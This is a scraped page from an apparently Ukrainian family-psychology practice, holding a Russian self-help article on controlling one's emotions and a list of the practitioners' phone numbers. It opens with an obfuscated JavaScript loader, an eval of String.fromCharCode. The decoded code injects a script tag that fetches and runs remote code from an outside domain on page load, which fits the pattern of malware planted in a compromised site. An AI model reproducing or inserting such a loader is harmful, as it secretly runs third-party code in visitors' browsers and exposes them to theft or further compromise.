eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 49, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125)); Как научиться контролю за собой и своими эмоциями?
отзывы Наши телефоны
Белова Наталия Борисовна

(067)466-62-20

Дидур Наталья Анатольевна

(067)401-41-55,

Поздеева Елена Владимировна

(067)745-20-44

Аксенова Татьяна Васильевна

(050)380-30-69, (067)144-91-96


Как научиться контролю за собой и своими эмоциями?

семейный психолог

Человек, умеющий всегда и в любых обстоятельствах держать свои эмоции и слова под контролем, всегда вызывает если не восхищение, но, как минимум, уважение. И преимущество таких людей даже не в воспитанности, а в том, что они никогда не теряют результатов своего хорошего воспитания, не горячатся и умеют помнить о главном. Почему у одних присутствует прирожденная сдержанность, а других так и тянет на то, чтобы нагрубить, обозвать, испортить настроение?

Известно, что на наши эмоциональные всплески влияют и наследственность, и перемены в гормональном фоне, и, конечно, разновидности эмоционального реагирования. Огромное значение также имеет воспитание и самовоспитание, а для нас особенно важно именно самовоспитание.

Если вы нужна профессиональная консультация по вопросу эмоционального самоконтроля. Если вы нуждаетесь в помощи опытнейшего специалиста, то рекомендуем сразу обращаться напрямую, записываться на сеанс – семейный психолог не оставит вас наедине с вашими проблемами. В это же статье мы можем обрисовать лишь примерные контуры. Итак, держать себя в руках можно научиться с помощью вырабатывания определенных привычек. В частности, очень важно оставаться в бодрой форме, научить себя не расстраиваться понапрасну, не впадать при малейшей возможности в грустные мысли. Будет для начала даже достаточно ободрять себя более энергичными и четкими движениями, сделать взгляд более внимательным, приободрить голос и интонацию.

Также помощь в самоконтроле поможет переключение с эмоций на голову: вам нужно научиться совершать поступки и вести себя по возможности максимально целесообразно тому, что вам нужно. Не следует уделять большое внимание своим эмоциям, внутренним переживания случайного характера и т.д. Наметьте действительно важные цели, и упорно идите к их достижению. Результаты будут замечательным подарком для вас, что очень положительно скажется на вашей жизни! Семейный психолог всегда готов предоставить весь свой опыт и талант для того, чтобы придать вам уверенности, решить внутренние проблемы и сделать вашу жизнь более полной и насыщенной.